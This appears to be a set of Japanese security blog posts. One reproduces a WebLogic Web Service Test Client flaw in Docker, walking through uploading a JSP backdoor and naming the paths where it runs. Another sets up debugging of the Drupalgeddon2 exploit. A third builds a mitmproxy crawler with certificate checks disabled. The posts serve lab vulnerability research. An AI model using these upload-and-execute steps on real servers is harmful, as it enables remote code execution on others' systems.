環境は前回作ったCVE-2017-10271のDockerのイメージを使おうとしましたが、前回のDockerイメージはProductionモードでビルドしており、公開されているPoCは開発モードでしか攻撃が成功しないため、使えませんでした。
Oracle WebLogic Server のWLS Security に関する脆弱性(CVE-2017-10271)について - 生産性のない話
ということで、新しいDockerイメージをビルドします。今回はバージョン 12.2.1.2を作ります。
ちなみに、前回作ったのはバージョン 12.1.3 なのですが、このバージョンのDockerfileはデフォルトでProductionモードになっており、明示的にビルドの際に引数「PRODUCTION_MODE=dev」を付与する必要があります(バージョン 12.1.3 以外はデフォルトで開発モードになっているのに、なぜそうなっているのかは不明……)。
Oracleの公式のDockerfileをクローンします。 OracleJavaのイメージをビルドした後で、以下のコマンドを実行します。
cd OracleWebLogic/dockerfiles/12.2.1.2/ # Oracleのサイトからファイルをダウンロードしてくる mv ~/Downloads/fmw_12.2.1.2.0_wls_Disk1_1of1.zip ./ mv ~/Downloads/fmw_12.2.1.2.0_wls_quick_Disk1_1of1.zip ./ cd ../ ./buildDockerImage.sh -d -v 12.1.3 cd ../samples/12212-domain docker build -t 12212-domain --build-arg ADMIN_PASSWORD=admin1234 .
出来上がったイメージを起動します。
docker run -d --name wlsadmin --hostname wlsadmin -p 7001:7001 12212-domain
これで http://localhost:7001/console へアクセスします。
今回のPoCは Web Service Test Client への攻撃のため、まずはこれを有効化します。 コンソールにアクセスし、「base_domain」から、「General -> Advanced」のメニューから「Enable Web Service Test Page」にチェックを入れます。
コンテナを再起動して設定を有効化します。 ちなみに、この設定を行わずに攻撃対象のパスにアクセスすると404が返ってきます。
docker restart wlsadmin
http://localhost:7001/ws_utc/config.do へアクセスします。
ここは Web Service Test Client の設定ページですが、このKeystoreをアップロードするところでjspのバックドアをアップロードできます。 まず、アップロード先のディレクトリを指定する必要があります。 画像にある「Work Home Dir」の値を「/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css」に変更し、Submitを押します。
左のメニューから「Security」を選択し、「Add」を押してKeystoreを追加します。
名前に適当な値を入れ、JSPのバックドアをアップロードします。
アップロードしたPOSTのレスポンスにタイムスタンプ(id)の値が返ってくるので、この値を覚えておきます。
アップロードしたファイルにアクセスします。
ここでは「/ws_utc/css/config/keystore/<タイムスタンプ>_<アップロードしたファイル名>」というパスにファイルが存在します。
jspファイルがバックドアとして動作します。これで任意のコード実行が可能です。
今回のPoCは前述の通り、開発モードでしか動作しません。
試しに Production Mode にチェックを入れて、再起動してみます。
この状態だと、「/ws_utc/config.do」へアクセスしても503が返ってくるため、ファイルのアップロードができません。
別のPoC
同じ脆弱性を悪用するPoCでコンフィグファイルのインポートを行うところでバックドアをアップロードするものがありました。 PoC自体は検証できていないのですが、アップロードが可能なことは確認できました。
最初に「http://localhost:7001/ws_utc/」へアクセスします。
このフォルダのアイコンをクリックすると設定のインポート画面が出てきます。
先ほどのバックドアファイルをインポートします。
設定ファイルではないため、怒られてしまいます。
ですが、ファイルのアップロード自体は完了しており、Dockerコンテナ内に入って探すと確かにアップロードしたファイルを見つけることができます。 以下はKeystoreのアップロード時と同じパスを設定している場合です。
これで、「/ws_utc/css/upload/RS_Upload_2018-07-22_14-30-17_948/import_file_name_backdoor.jsp」のURLパスにアクセスすると、バックドアが動作します。
こちらも条件は同じで、開発モードで Web Service Test Client が有効になっている必要があります。
まとめ
攻撃は任意のファイルがアップロードできるため、影響は大きいですが、現状のPoCでは開発モードで特定のサービスを有効にしている場合のみ影響を受けるようです。商用のサービスでは、まあ、そんな環境があるとも思えないので、あまり影響はないかと考えています。 ただ、今後違う形の攻撃コードが出てくる可能性もありますので、アップデートはしておくべきかと思います。
XdebugとNetBeansを使ったDrupalのデバッグ環境をdocker-composeのみで立てる
昨年の末ごろにデバッガを使って脆弱性検証を行う勉強会に参加させていただきました。
※好評につき追加開催※ デバッガでWordPress本体やプラグインの脆弱性を追いかけてみよう - connpass
とても参考になりました。その時の内容は下記の記事がとても詳しくまとめてくれています。
自分が脆弱性検証をやるときにデバッガを使うことはやったことがなかったのですが、そういう方法があるというのは新しかったです。
脆弱性検証の場合、別に開発するわけではないのであくまでプロジェクトは一時的なもので、また複数のバージョンを立てて壊してとしていくので、そういう点でDockerとの相性がよく、自分もかなりの頻度で使っています。 Dockerを使ってこういう環境を立てておくと、後々応用が利きそうだなと思いました。
ということで今回はXdebugとNetBeansを使ったデバッグ環境を立てます。
対象としては先日 Drupalgeddon2(CVE-2018-7600) の脆弱性が見つかったDrupalのデバッグ環境を立ててみます。
NetBeansのDockerコンテナとしては以下を参考にしました。
Dockerを使ってNetBeans IDEをGUIで起動できます。
- Dockerfile
FROM debian:latest RUN apt-get update && apt-get install -y wget openjdk-8-jdk && \ apt-get clean && \ rm -rf /var/lib/apt/lists/* && \ rm -rf /tmp/* ADD state.xml /tmp/state.xml RUN wget http://download.netbeans.org/netbeans/8.2/final/bundles/netbeans-8.2-php-linux-x64.sh -O /tmp/netbeans.sh -q && \ chmod +x /tmp/netbeans.sh && \ echo 'Installing netbeans' && \ /tmp/netbeans.sh --silent --state /tmp/state.xml && \ rm -rf /tmp/* CMD /usr/local/netbeans-8.2/bin/netbeans
NetBeansのPHPのIDEをインストールしています。state.xmlというのは一回インストールしたときに「--record」というオプションを付けて出力したファイルで、これを指定して 「--silent」オプションを付けることでGUIなしでインストールできます。
実行時にはGUIで起動するためにホスト側で「xhost +」とか実行してX Window Systemの認証を通しておく必要があります (終わったら「xhost -」とかで認証拒否の状態に戻すことを推奨します)。
次にDrupalのDockerコンテナです。公式のものにXdebugをインストールしています。
FROM drupal:7.57-apache RUN pecl install xdebug ・・・
Xdebugの設定は以下の通りです。
[xdebug] zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20151012/xdebug.so xdebug.remote_enable=1 xdebug.remote_handler=dbgp xdebug.remote_connect_back=0 xdebug.remote_autostart=1 xdebug.remote_host=172.42.0.4 xdebug.remote_port=9000 xdebug.max_nesting_level=1000 xdebug.idekey="netbeans-xdebug"
設定についてはいろいろと必要なオプションがあります。 また、デバッガの接続元のIPを指定する必要があるので、NetBeansのIPを指定する必要があります。 そのため、docker-composeでネットワークを作成し、IPを固定しています。
また、デバッグ対象となるアプリケーションのファイルを共有しておく必要があるので、ボリュームを作成しています。 このボリュームを触るときに権限の設定が面倒なので、NetBeansはrootで動かしています。
以上から出来上がったDockerの設定ファイルは以下になります。
これをビルドします。結構時間かかります。
docker-compose build docker-compose up
あと、ローカルホストに行くとDrupalのインストーラが起動します。 そのままだとベースになるコンテナのイメージは drupal:7.57-apache になっています。
データベースはMySQLのコンテナが同時に立ちます。 パラメータは以下になっているので、入力してインストールします。
インストールが終わったら、NetBeansの設定です。 まずは新規プロジェクトを作ります。 PHPの既存のソースを選択します。
ソースのフォルダにはDrupalのコンテンツがマウントしてある「/root/project/drupal」を指定します。
ローカルのWebサイトとして、プロジェクトURLは対象となるDrupalのホスト(ここでは「http://drupal-vuln/」)とします。
設定が終わったらデバッグを開始します。 メニューバーの一番右にあるデバッグ開始のボタンを押します。
リクエストを待ち受けているので、この状態で、攻撃コードを打てば、デバッグが開始されます。 その前にブレークポイントを設定しましょう。
三井物産セキュアディレクション (MBSD) の検証レポートによると、「includes/common.inc」の「#post_render」を処理する箇所でコード実行が行われるようなので、ここにブレークポイントを設定します。 Drupal 7系への攻撃ではリクエストは2回あり、1回目でキャッシュに実行するコマンドを仕込み、2回目で実行します。
これで実行すると、1回目のリクエストでは何度もこの関数を通るのですが、そのうちの1回でパラメータで指定した値が変数に入っている処理があります。2回目のリクエストで1回目のリクエストでキャッシュされた値が取り出され、コード実行が行われることが確認できます。
- 2回目のリクエストで呼び出されている変数
ここまでやってあれですが、結構処理が分かりにくい上に、リクエストが2つに分かれているので、初心者の勉強にはあまりいい例ではないのかな……と。
ただ、任意のコードが実行される個所は分かりました。
せっかくなのでDrupal 8系でもやってみました。
DrupalのDockerfileとdocker-compose.ymlのバージョン(7.57-apache ⇒ 8.5.0-apache)を書き換えてビルドするだけ…… と思ったらXdebugのインストールパスがかわっていました、、、
DrupalのDockerfileのphp.iniの値も書き換える必要があります。 (何かオプションとかで固定できそう?)
また、Dockerで共有したボリュームが残っているので、このままやると、Drupal 8のコンテンツがDrupal 7のコンテンツで上書きされます。 ので、先に作ったボリュームは削除しておきましょう。
同じように「docker-compose up」のコマンドだけで、NetBeansが起動し、Drupal 8が立ちました。
後の流れは同じです。ブレークポイントを張って、デバッグを開始して、攻撃コードを打ちます。
ということで、簡単にXdebugとNetBeansを使った脆弱性検証の環境が立ちました。
Drupalの脆弱性の攻撃コードが出る前に用意しとけよ、という話ですね。 まったくもって、その通りです。
これ自体はもう少し応用が利きそうなので、PHP系のCMSやJAVAのミドルウェアを使ったアプリケーションは同じことができそうだなーと思っています。 そのへんは今後、頑張っていきたいです。
参考
デバッガを利用してWebアプリの脆弱性を分析してみた - とある診断員の備忘録
Dockerを用いたGUIアプリケーションの実行 | POSTD
Docker上でGoogle Chromeを使ったWebクローラを作る
最近Webサイトのクローリング(スクレイピング?)に興味を持ちまして、Webサイトのクローラ的なものを作りたいと思い、いろいろ試行錯誤していました。
Webサイトのコンテンツを取得するなら、一番簡単なものだとwgetやcurl、ちょっと手を加えるならスクリプトを書く、Pythonならrequestsやmechanizeなどのライブラリを使うと、比較的単純なことなら簡単にできます。 より高度なことをやろうとすると、やはり実際のブラウザを利用するのが一番でしょう。
昨年末にこちらの記事を読みまして、
Docker上でGoogle ChromeをHeadlessモードで動かし、Seleniumで制御してスクレイピングしようという記事です。
とても面白そうだったのですが、自分の欲しい機能にあと一歩というところでした。
これにmitmproxyを組み合わせれば、幸せになれそうだったので、試してみました。
mitmproxy - an interactive HTTPS proxy
mitmproxyというのは、その名の通り、MITM(Man In The Middle)を行うプロキシです。 暗号化された通信に割り込んで、盗聴、改ざんを行う攻撃手法ですが、このテクニック自体は攻撃に限らず色々な場面で利用されています。
mitmproxyを利用すると、HTTPS(HTTP)の通信の中身を覗き見たり、書き換えたりが可能になります。
コンテンツを取得するだけであればそんなことをする必要はないのですが、これができると色々と便利なので、何とか組み込みたいと思いました。
で、さっそく、上の記事にある内容をトレースしつつ、mitmproxyを挟んでみたのですが、結論を言うとダメでした。
できました。
mitmproxyを利用するとき、「ブラウザ⇔mitmproxy⇔Webサイト」という形で通信が流れますが、ブラウザとmitmproxyの間はmitmproxyが発行する自己証明書が利用されます。こちらはブラウザから見ると不正な証明書になります。そこで、Chromeに「--ignore-certificate-errors」というオプションを付けてやることで、不正な証明書のエラーを無視して通常通りアクセスできるようになるはずです。
ですが、なぜかChromeをHeadlessモードで動かすと、このあたりのオプションが正常に動かないらしく、Chrome Headlessでmitmproxyを動かすのは現状難しそうという結論に至りました。
もう少ししたら、Chrome Headlessでも正常に動くようになるかもしれないので、そこは気長に待つことにします(あるいは僕の知らない別のオプションがあるのかもしれませんが、どなたか知っていたら教えていただきたい……)。
追記(2018/5/15)
個人のプロファイルにルート証明書をちゃんと読み込ませてやると、証明書のエラーがでなくなり、うまくいきました。 一番下に追記しています。
ということで、今回はChrome Headlessを使うことは諦めて、普通のGoogle ChromeをDockerから動かすことを考えました。
こういう方法を使ってDocker内のGUIアプリケーションを起動させることができるようです。Linuxでリモートから(ここではローカルで動くコンテナ)のX Window Systemを許可してUNIXソケット経由でディスプレイを共有する方法です。
この方法を使ってGoogle ChromeをインストールしたコンテナでChromeを起動させると見事にChromeが立ち上がり、普通のGUIアプリケーションとして利用可能となりました。
つまり、わざわざHeadlessモードを使わなくとも、GUIアプリケーションとしてDocker内で起動させることもできるということです。
ということで、Chrome Headlessは無視してとりあえず、GUIアプリケーションとして動作するGoogle Chromeのコンテナイメージを作ってみました。
インストールしたもの:
- Google Chrome
- ChromeDriver
- Selenium
- mitmproxy
- 日本語のフォントなど
一応日本語環境で利用することを想定して日本語関係のフォントやパッケージも入れました。
本当はイメージを分けて作った方が後々やりやすいのかもしれませんが、mitmproxyの起動時に作成される自己証明書をChromeが入っているコンテナにインストールする必要があり、いろいろと面倒だったので、ひとまず全部一つのコンテナイメージにぶち込みました(イメージサイズが1.5Gくらいになってます……)。
出来上がったDockerfileがこちらになります。
起動時に色々やることがあるので、docker-entrypoint.shが色々面倒なことになっています。
docker-composeでそのまま起動すると、普通にGoogle Chromeが起動するはずです。mitmproxyのログはそのまま標準出力に流れていきます。 (追記 : 今はHeadlessでGoogleにアクセスするようになっています。GUIで利用する場合はdocker-compose.ymlと、実行スクリプトを書き換えるなどする必要があります)
ただし、X Window Systemの認証を許可するために、ホスト側で以下のコマンドを実行しておく必要があります。
xhost local:
認証を許可してそのままにしておくのはセキュリティ的によろしくないので、終わったら戻しておきましょう。
xhost -local:
Chromeを自動で動かしたい場合はscriptsフォルダ内に「crawling-script.sh」を作成すると、そこに記載されているコマンドを実行します。 例として、特定のサイトにアクセスするスクリプトを実行します。
- scripts/crawling-script.sh
#!/bin/sh
python3 /home/chrome/scripts/crawling.py
- scripts/crawling.py
from selenium import webdriver from selenium.webdriver.common.action_chains import ActionChains from selenium.webdriver.common.keys import Keys from datetime import datetime from time import sleep if __name__ == '__main__': url = 'https://www.google.co.jp/' outputdir = '/home/chrome/output/' timestamp = datetime.now().strftime("%Y%m%d-%H%M%S") options = webdriver.ChromeOptions() options.binary_location = '/usr/bin/google-chrome' options.add_argument('--no-sandbox') # options.add_argument('--headless') options.add_argument('--disable-gpu') options.add_argument("--start-maximized") options.add_argument('--ignore-certificate-errors') options.add_argument('--ssl-protocol=any') options.add_argument('--allow-running-insecure-content') options.add_argument('--disable-web-security') PROXY = 'localhost:8080' options.add_argument('--proxy-server=http://%s' % PROXY) LANGUAGE = 'ja' options.add_argument('--lang=%s' % LANGUAGE) capabilities = options.to_capabilities() driver = webdriver.Remote(command_executor='http://localhost:9515', desired_capabilities=capabilities) try: driver.get(url) sleep(3) print('title:', driver.title) driver.save_screenshot(outputdir + 'screenshot-' + timestamp + '.png') finally: driver.quit()
これが置いてある状態で「docker-compose up」すると、サイトにアクセスしてスクリーンショットを撮って終了します。
「--headless」のオプションを付けると、Headlessモードで動きますが、先に述べた通りの理由でHTTPSのサイトではmitmproxyのエラーのために正常にアクセスできません。
アクセス先がHTTPのみのサイトであれば、問題はないですが。
次にscriptsフォルダに「mitmproxy-script.py」を作成します。例として、アクセス先のレスポンスからhtmlファイルをすべて保存するスクリプトです。 (こちらのサイトを参考にしました)
- scripts/mitmproxy-script.py
#!/usr/bin/env python from mitmproxy import io from mitmproxy.exceptions import FlowReadException outputpath = '/home/chrome/output/' def response(flow): content_type = flow.response.headers.get('Content-Type', '') path = flow.request.url.replace('/', '_').replace(':', '_') if content_type.startswith('text/html'): with open(outputpath + path, 'w') as f: f.write(flow.response.text)
これで起動すると、outputフォルダに保存されたダウンロードしたhtmlファイルが保存されているのを確認できます。
mitmproxyのサンプルはこちらにあります。
こんな感じでmitmproxyとseleniumのスクリプトを書いて、うまくやれば好きなWebサイトに好きなようにアクセスした際の通信を解析できるようになる、と思います。 スクリプトについては今後作っていこうかと思います。 まあ、seleniumもmitmproxyも割とサンプルはあるので書きやすいのではないかなー、と。
とにかくWebサイトの解析用のクローラを作ることはできたので、満足はしました。ただ、Headlessで動かせなかったのは残念でした。 なにかしら方法はありそうなので、もうしばらく調べてみたいです。 あと、FirefoxにもHeadlessモードが搭載されているそうなので、いずれはそっちも試してみたいです。
最後に、Webサイトのクローリング、スクレイピングはマナーを守って行うようお願いします。
追記(2018/5/15)
headlessモードでうまく動作したので、追記です。 ルート証明書をちゃんとインストールすると、エラーがなくなりました。 docker-entrypoint.shの中でコンテナの起動時にやるようにしています(ので、コンテナ起動に若干余計な時間がかかります)。
まず、OSに証明書を認識させます(ここまでは前回やっていた)。
openssl x509 -in /home/chrome/.mitmproxy/mitmproxy-ca-cert.pem -inform PEM -out /home/chrome/.mitmproxy/mitmproxy-ca-cert.crt mkdir /usr/share/ca-certificates/extra cp /home/chrome/.mitmproxy/mitmproxy-ca-cert.crt /usr/share/ca-certificates/extra/ echo 'extra/mitmproxy-ca-cert.crt' >> /etc/ca-certificates.conf update-ca-certificates
chromeを一度起動させると、デフォルトのプロファイルが作成されます。 すると、ホームディレクトリの「.pki」ディレクトリ配下に証明書を関連のデータベースができるので、ここにcertutilコマンドを使ってmitmproxyの証明書をインストールします。
for certDB in $(find /home/chrome/ -name "cert9.db") do prefdir=$(dirname ${certDB}); echo ${prefdir}; certutil -A -n ${certname} -t "TCu,Cu,Tu" -i ${certfile} -d sql:${prefdir} done
これで、headlessモードでchromeが動いてくれるようになりました。
ちなみに、Firefox版も作りました。こちらも同じように動いてくれるかと思います。 (Firefox版を作っていて証明書に気づいた)
これで幸せになれそうです。
参考
Dockerで手軽にスクレイピング環境を手に入れる - Qiita
Dockerコンテナの中でGUIアプリケーションを起動させる | Unskilled?
mitmproxyを使ってどんなサイトでもクローリング・スクレイピングする - Qiita
Making Chrome Headless Undetectable
AmazonLinuxでselenium + chromedriver + headlessするメモ - 私事ですが……